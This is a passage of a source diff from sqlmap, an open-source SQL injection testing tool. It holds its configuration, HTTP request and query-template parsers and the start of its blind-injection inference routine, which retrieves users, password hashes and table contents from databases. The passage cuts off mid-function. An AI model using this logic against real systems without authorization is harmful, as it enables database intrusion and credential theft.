Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from ConfigParser import NoSectionError
|
||||
from ConfigParser import SafeConfigParser
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.optiondict import optDict
|
||||
|
||||
|
||||
config = None
|
||||
|
||||
|
||||
def configFileProxy(section, option, boolean=False, integer=False):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
advanced dictionary.
|
||||
"""
|
||||
|
||||
global config
|
||||
|
||||
if config.has_option(section, option):
|
||||
if boolean:
|
||||
value = config.getboolean(section, option)
|
||||
elif integer:
|
||||
value = config.getint(section, option)
|
||||
else:
|
||||
value = config.get(section, option)
|
||||
|
||||
if value:
|
||||
conf[option] = value
|
||||
else:
|
||||
conf[option] = None
|
||||
else:
|
||||
debugMsg = "missing requested option '%s' (section " % option
|
||||
debugMsg += "'%s') into the configuration file, " % section
|
||||
debugMsg += "ignoring. Skipping to next."
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def configFileParser(configFile):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
advanced dictionary.
|
||||
"""
|
||||
|
||||
global config
|
||||
|
||||
debugMsg = "parsing configuration file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
checkFile(configFile)
|
||||
config = SafeConfigParser()
|
||||
config.read(configFile)
|
||||
|
||||
if not config.has_section("Request"):
|
||||
raise NoSectionError, "Request in the configuration file is mandatory"
|
||||
|
||||
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
|
||||
errMsg = "missing a mandatory option in the configuration "
|
||||
errMsg += "file (url or googleDork)"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
|
||||
for family, optionData in optDict.items():
|
||||
for option, data in optionData.items():
|
||||
boolean = False
|
||||
integer = False
|
||||
|
||||
if data == "boolean":
|
||||
boolean = True
|
||||
elif data == "integer":
|
||||
integer = True
|
||||
|
||||
configFileProxy(family, option, boolean, integer)
|
75
lib/parse/html.py
Normal file
75
lib/parse/html.py
Normal file
|
@ -0,0 +1,75 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: html.py 286 2008-07-25 23:09:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
|
||||
|
||||
class htmlHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
"""
|
||||
|
||||
def __init__(self, page):
|
||||
self.__dbms = None
|
||||
self.__page = page
|
||||
self.__regexp = None
|
||||
self.__match = None
|
||||
|
||||
self.dbms = None
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
self.__dbms = attrs.get("value")
|
||||
|
||||
if name == "error":
|
||||
self.__regexp = attrs.get("regexp")
|
||||
self.__match = re.search(self.__regexp, self.__page, re.I)
|
||||
|
||||
if self.__match:
|
||||
self.dbms = self.__dbms
|
||||
self.__match = None
|
||||
|
||||
|
||||
def htmlParser(page, xmlfile):
|
||||
"""
|
||||
This function calls a class that parses the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
"""
|
||||
|
||||
checkFile(xmlfile)
|
||||
page = sanitizeStr(page)
|
||||
handler = htmlHandler(page)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
return handler.dbms
|
203
lib/parse/queriesfile.py
Normal file
203
lib/parse/queriesfile.py
Normal file
|
@ -0,0 +1,203 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: queriesfile.py 343 2008-08-30 01:12:18Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
|
||||
|
||||
class queriesHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the default DBMS queries
|
||||
from an XML file
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__dbms = ''
|
||||
self.__queries = advancedDict()
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
data = sanitizeStr(attrs.get("value"))
|
||||
self.__dbms = data
|
||||
|
||||
elif name == "cast":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.cast = data
|
||||
|
||||
elif name == "length":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.length = data
|
||||
|
||||
elif name == "isnull":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isnull = data
|
||||
|
||||
elif name == "delimiter":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.delimiter = data
|
||||
|
||||
elif name == "limit":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limit = data
|
||||
|
||||
elif name == "limitregexp":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitregexp = data
|
||||
|
||||
elif name == "limitgroupstart":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitgroupstart = data
|
||||
|
||||
elif name == "limitgroupstop":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitgroupstop = data
|
||||
|
||||
elif name == "limitstring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.limitstring = data
|
||||
|
||||
elif name == "order":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.order = data
|
||||
|
||||
elif name == "count":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.count = data
|
||||
|
||||
elif name == "substring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.substring = data
|
||||
|
||||
elif name == "inference":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.inference = data
|
||||
|
||||
elif name == "banner":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.banner = data
|
||||
|
||||
elif name == "current_user":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.currentUser = data
|
||||
|
||||
elif name == "current_db":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.currentDb = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
self.__condition = sanitizeStr(attrs.get("condition"))
|
||||
self.__condition2 = sanitizeStr(attrs.get("condition2"))
|
||||
|
||||
elif name == "blind":
|
||||
self.__blind = sanitizeStr(attrs.get("query"))
|
||||
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
||||
self.__count = sanitizeStr(attrs.get("count"))
|
||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "dbms":
|
||||
queries[self.__dbms] = self.__queries
|
||||
self.__queries = advancedDict()
|
||||
|
||||
elif name == "users":
|
||||
self.__users = {}
|
||||
self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 }
|
||||
self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.users = self.__users
|
||||
|
||||
elif name == "passwords":
|
||||
self.__passwords = {}
|
||||
self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition }
|
||||
self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.passwords = self.__passwords
|
||||
|
||||
elif name == "privileges":
|
||||
self.__privileges = {}
|
||||
self.__privileges["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||
self.__privileges["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.privileges = self.__privileges
|
||||
|
||||
elif name == "dbs":
|
||||
self.__dbs = {}
|
||||
self.__dbs["inband"] = { "query": self.__inband, "query2": self.__inband2 }
|
||||
self.__dbs["blind"] = { "query": self.__blind, "query2": self.__blind2,
|
||||
"count": self.__count, "count2": self.__count2 }
|
||||
|
||||
self.__queries.dbs = self.__dbs
|
||||
|
||||
elif name == "tables":
|
||||
self.__tables = {}
|
||||
self.__tables["inband"] = { "query": self.__inband, "condition": self.__condition }
|
||||
self.__tables["blind"] = { "query": self.__blind, "count": self.__count }
|
||||
|
||||
self.__queries.tables = self.__tables
|
||||
|
||||
elif name == "columns":
|
||||
self.__columns = {}
|
||||
self.__columns["inband"] = { "query": self.__inband }
|
||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
|
||||
|
||||
self.__queries.columns = self.__columns
|
||||
|
||||
elif name == "dump_table":
|
||||
self.__dumpTable = {}
|
||||
self.__dumpTable["inband"] = { "query": self.__inband }
|
||||
self.__dumpTable["blind"] = { "query": self.__blind, "count": self.__count }
|
||||
|
||||
self.__queries.dumpTable = self.__dumpTable
|
||||
|
||||
|
||||
def queriesParser():
|
||||
"""
|
||||
This function calls a class to parse the default DBMS queries
|
||||
from an XML file
|
||||
"""
|
||||
|
||||
debugMsg = "parsing XML queries file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
xmlfile = paths.QUERIES_XML
|
||||
|
||||
checkFile(xmlfile)
|
||||
handler = queriesHandler()
|
||||
parse(xmlfile, handler)
|
25
lib/request/__init__.py
Normal file
25
lib/request/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
81
lib/request/basic.py
Normal file
81
lib/request/basic.py
Normal file
|
@ -0,0 +1,81 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
|
||||
def forgeHeaders(cookie, ua):
|
||||
"""
|
||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||
the HTTP requests
|
||||
"""
|
||||
|
||||
headers = {}
|
||||
|
||||
for header, value in conf.httpHeaders:
|
||||
if cookie and header == "Cookie":
|
||||
headers[header] = cookie
|
||||
elif ua and header == "User-Agent":
|
||||
headers[header] = ua
|
||||
else:
|
||||
headers[header] = value
|
||||
|
||||
return headers
|
||||
|
||||
|
||||
def parsePage(page):
|
||||
"""
|
||||
@param page: the page to parse to feed the knowledge base htmlFp
|
||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||
through the web application) list and absFilePaths (absolute file
|
||||
paths) set.
|
||||
|
||||
@todo: in the future parse the page content scrolling an XML file to
|
||||
identify the dynamic language used and, most, the absolute path,
|
||||
like for DBMS error messages (ERRORS_XML), see above.
|
||||
"""
|
||||
|
||||
if not page:
|
||||
return
|
||||
|
||||
htmlParsed = htmlParser(page, paths.ERRORS_XML)
|
||||
|
||||
if htmlParsed and htmlParsed not in kb.htmlFp:
|
||||
kb.htmlFp.append(htmlParsed)
|
||||
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(absFilePath)
|
228
lib/request/connect.py
Normal file
228
lib/request/connect.py
Normal file
|
@ -0,0 +1,228 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import re
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from lib.contrib import multipartpost
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parsePage
|
||||
|
||||
|
||||
|
||||
class Connect:
|
||||
"""
|
||||
This class defines methods used to perform HTTP requests
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def getPage(**kwargs):
|
||||
"""
|
||||
This method connects to the target url or proxy and returns
|
||||
the target url page content
|
||||
"""
|
||||
|
||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||
get = kwargs.get('get', None)
|
||||
post = kwargs.get('post', None)
|
||||
cookie = kwargs.get('cookie', None)
|
||||
ua = kwargs.get('ua', None)
|
||||
direct = kwargs.get('direct', False)
|
||||
multipart = kwargs.get('multipart', False)
|
||||
|
||||
cookieStr = ""
|
||||
requestMsg = "HTTP request:\n%s " % conf.method
|
||||
responseMsg = "HTTP response "
|
||||
requestHeaders = ""
|
||||
responseHeaders = ""
|
||||
|
||||
if re.search("http[s]*://%s" % conf.hostname, url, re.I):
|
||||
requestMsg += "%s" % conf.path or "/"
|
||||
else:
|
||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||
|
||||
if direct:
|
||||
if "?" in url:
|
||||
url, params = url.split("?")
|
||||
params = urlencode(params)
|
||||
url = "%s?%s" % (url, params)
|
||||
requestMsg += "?%s" % params
|
||||
elif multipart:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
return page
|
||||
elif conf.method == "GET":
|
||||
if conf.parameters.has_key("GET") and not get:
|
||||
get = conf.parameters["GET"]
|
||||
|
||||
if get:
|
||||
get = urlencode(get)
|
||||
url = "%s?%s" % (url, get)
|
||||
requestMsg += "?%s" % get
|
||||
elif conf.method == "POST":
|
||||
if conf.parameters.has_key("POST") and not post:
|
||||
post = conf.parameters["POST"]
|
||||
|
||||
post = urlencode(post)
|
||||
|
||||
requestMsg += " HTTP/1.1"
|
||||
|
||||
try:
|
||||
# Perform HTTP request
|
||||
headers = forgeHeaders(cookie, ua)
|
||||
req = urllib2.Request(url, post, headers)
|
||||
conn = urllib2.urlopen(req)
|
||||
|
||||
if "Accept-Encoding" not in req.headers:
|
||||
requestHeaders += "\nAccept-Encoding: identity"
|
||||
|
||||
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
|
||||
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
if not cookieStr:
|
||||
cookieStr = "Cookie: "
|
||||
|
||||
cookie = str(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s; " % cookie[8:index]
|
||||
|
||||
if "Cookie" not in req.headers and cookieStr:
|
||||
requestHeaders += "\n%s" % cookieStr[:-2]
|
||||
|
||||
if "Connection" not in req.headers:
|
||||
requestHeaders += "\nConnection: close"
|
||||
|
||||
requestMsg += "\n%s" % requestHeaders
|
||||
|
||||
if post:
|
||||
requestMsg += "\n%s" % post
|
||||
|
||||
requestMsg += "\n"
|
||||
|
||||
logger.log(9, requestMsg)
|
||||
|
||||
# Get HTTP response
|
||||
page = conn.read()
|
||||
code = conn.code
|
||||
status = conn.msg
|
||||
responseHeaders = conn.info()
|
||||
|
||||
except urllib2.HTTPError, e:
|
||||
if e.code == 401:
|
||||
exceptionMsg = "not authorized, try to provide right HTTP "
|
||||
exceptionMsg += "authentication type and valid credentials"
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
else:
|
||||
page = e.read()
|
||||
code = e.code
|
||||
status = e.msg
|
||||
responseHeaders = e.info()
|
||||
|
||||
except urllib2.URLError, e:
|
||||
warnMsg = "unable to connect to the target url"
|
||||
|
||||
if conf.googleDork:
|
||||
warnMsg += ", skipping to next url"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
else:
|
||||
warnMsg += " or proxy"
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
parsePage(page)
|
||||
responseMsg += "(%s - %d):\n" % (status, code)
|
||||
|
||||
if conf.verbose <= 4:
|
||||
responseMsg += str(responseHeaders)
|
||||
elif conf.verbose > 4:
|
||||
responseMsg += "%s\n%s\n" % (responseHeaders, page)
|
||||
|
||||
logger.log(8, responseMsg)
|
||||
|
||||
return page
|
||||
|
||||
|
||||
@staticmethod
|
||||
def queryPage(value=None, place=None, content=False):
|
||||
"""
|
||||
This method calls a function to get the target url page content
|
||||
and returns its page MD5 hash or a boolean value in case of
|
||||
string match check ('--string' command line parameter)
|
||||
"""
|
||||
|
||||
get = None
|
||||
post = None
|
||||
cookie = None
|
||||
ua = None
|
||||
|
||||
if not place:
|
||||
place = kb.injPlace
|
||||
|
||||
if conf.parameters.has_key("GET"):
|
||||
if place == "GET" and value:
|
||||
get = value
|
||||
else:
|
||||
get = conf.parameters["GET"]
|
||||
|
||||
if conf.parameters.has_key("POST"):
|
||||
if place == "POST" and value:
|
||||
post = value
|
||||
else:
|
||||
post = conf.parameters["POST"]
|
||||
|
||||
if conf.parameters.has_key("Cookie"):
|
||||
if place == "Cookie" and value:
|
||||
cookie = value
|
||||
else:
|
||||
cookie = conf.parameters["Cookie"]
|
||||
|
||||
if conf.parameters.has_key("User-Agent"):
|
||||
if place == "User-Agent" and value:
|
||||
ua = value
|
||||
else:
|
||||
ua = conf.parameters["User-Agent"]
|
||||
|
||||
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||
|
||||
if content:
|
||||
return page
|
||||
elif conf.string:
|
||||
if conf.string in page:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return md5.new(page).hexdigest()
|
377
lib/request/inject.py
Normal file
377
lib/request/inject.py
Normal file
|
@ -0,0 +1,377 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import cleanQuery
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.inference.blind import bisection
|
||||
from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __getFieldsProxy(expression):
|
||||
_, _, _, expressionFields = agent.getFields(expression)
|
||||
expressionFieldsList = expressionFields.replace(", ", ",")
|
||||
expressionFieldsList = expressionFieldsList.split(",")
|
||||
|
||||
return expressionFields, expressionFieldsList
|
||||
|
||||
|
||||
def __goInference(payload, expression):
|
||||
start = time.time()
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
_, length, _ = queryOutputLength(expression, payload)
|
||||
else:
|
||||
length = None
|
||||
|
||||
count, value = bisection(payload, expression, length=length)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload):
|
||||
outputs = []
|
||||
|
||||
for field in expressionFieldsList:
|
||||
output = None
|
||||
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output:
|
||||
output = __goInference(payload, expressionReplaced)
|
||||
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
parameter through a bisection algorithm.
|
||||
"""
|
||||
|
||||
query = agent.prefixQuery(temp.inference)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
count = None
|
||||
startLimit = 0
|
||||
stopLimit = None
|
||||
outputs = []
|
||||
test = None
|
||||
untilLimitChar = None
|
||||
untilOrderChar = None
|
||||
|
||||
output = resume(expression, payload)
|
||||
|
||||
if output:
|
||||
return output
|
||||
|
||||
if kb.dbmsDetected:
|
||||
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||
infoMsg += "to be able to retrieve the output even if we "
|
||||
infoMsg += "are going blind"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# If we have been here from SQL query/shell we have to check if
|
||||
# the SQL query might return multiple entries and in such case
|
||||
# forge the SQL limiting the query output one entry per time
|
||||
# NOTE: I assume that only queries that get data from a table
|
||||
# can return multiple entries
|
||||
if fromUser and " FROM " in expression:
|
||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||
|
||||
if limitRegExp:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||
|
||||
if limitGroupStart.isdigit():
|
||||
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||
|
||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||
limitCond = int(stopLimit) > 1
|
||||
|
||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||
limitCond = False
|
||||
else:
|
||||
limitCond = True
|
||||
|
||||
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||
# (or similar depending on the back-end DBMS) can return
|
||||
# multiple entries
|
||||
if limitCond:
|
||||
if limitRegExp:
|
||||
stopLimit = int(stopLimit)
|
||||
|
||||
# From now on we need only the expression until the " LIMIT "
|
||||
# (or similar, depending on the back-end DBMS) word
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
stopLimit += startLimit
|
||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||
expression = expression[:untilLimitChar]
|
||||
|
||||
if not stopLimit or stopLimit <= 1:
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
else:
|
||||
message = "does the SQL query that you provide might "
|
||||
message += "return multiple entries? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
# Count the number of SQL query entries output
|
||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
||||
|
||||
if re.search(" ORDER BY ", expression, re.I):
|
||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||
countedExpression = countedExpression[:untilOrderChar]
|
||||
|
||||
count = resume(countedExpression, payload)
|
||||
|
||||
if not stopLimit:
|
||||
if not count:
|
||||
count = __goInference(payload, countedExpression)
|
||||
|
||||
if count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
||||
message = "the SQL query that you provide can "
|
||||
message += "return up to %d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit\nChoice: "
|
||||
test = readInput(message, default="a")
|
||||
|
||||
if not test or test[0] in ("a", "A"):
|
||||
stopLimit = count
|
||||
|
||||
elif test[0] in ("q", "Q"):
|
||||
return "Quit"
|
||||
|
||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||
stopLimit = int(test)
|
||||
|
||||
